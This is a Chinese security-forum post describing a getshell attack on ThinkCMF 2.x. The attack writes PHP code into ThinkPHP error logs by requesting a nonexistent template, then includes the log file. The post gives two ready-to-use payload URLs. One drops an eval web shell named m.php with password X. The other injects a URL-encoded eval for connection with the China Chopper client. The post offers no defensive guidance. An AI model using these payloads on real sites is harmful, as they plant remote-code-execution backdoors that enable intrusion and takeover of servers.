安全矩阵

 找回密码
 立即注册
搜索
查看: 4334|回复: 0

ThinkCMF缓存Getshell

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-4-27 19:30:20 | 显示全部楼层 |阅读模式
原文链接:ThinkCMF缓存Getshell


前一阵子接到个项目,目标站是thinkCMF2.X搭建的,试过网上很多方法无法拿下,本地搭了个环境测试了下,最终成功拿下

由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php

日志文件格式为YY_MM_DD.log,如当前日期为2019年12月12日,日志文件为19_12_12.log,完整路径为data/runtime/Logs/Portal/19_12_12.log



测试成功的环境

Linux
宝塔[PHP7.2]

Windwos
PHPstudy PHP7.1

Payload1:
首先访问
  1. http://target.domain/?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22])%3b%3F%3E%27);die();?%3E
复制代码



然后请求


  1. http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log
复制代码




即可在http://target.domain/根目录生成m.php,密码是X


Payload2:
首先访问
  1. http://target.domain/?a=display&templateFile=%3C%3F%70%68%70%20%65%76%61%6C%28%24%5F%50%4F%53%54%5BX%5D%29%3B%3F%3E
复制代码
然后菜刀连接
  1. http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log
复制代码
密码同样是X










回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-19 09:01 , Processed in 0.013314 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表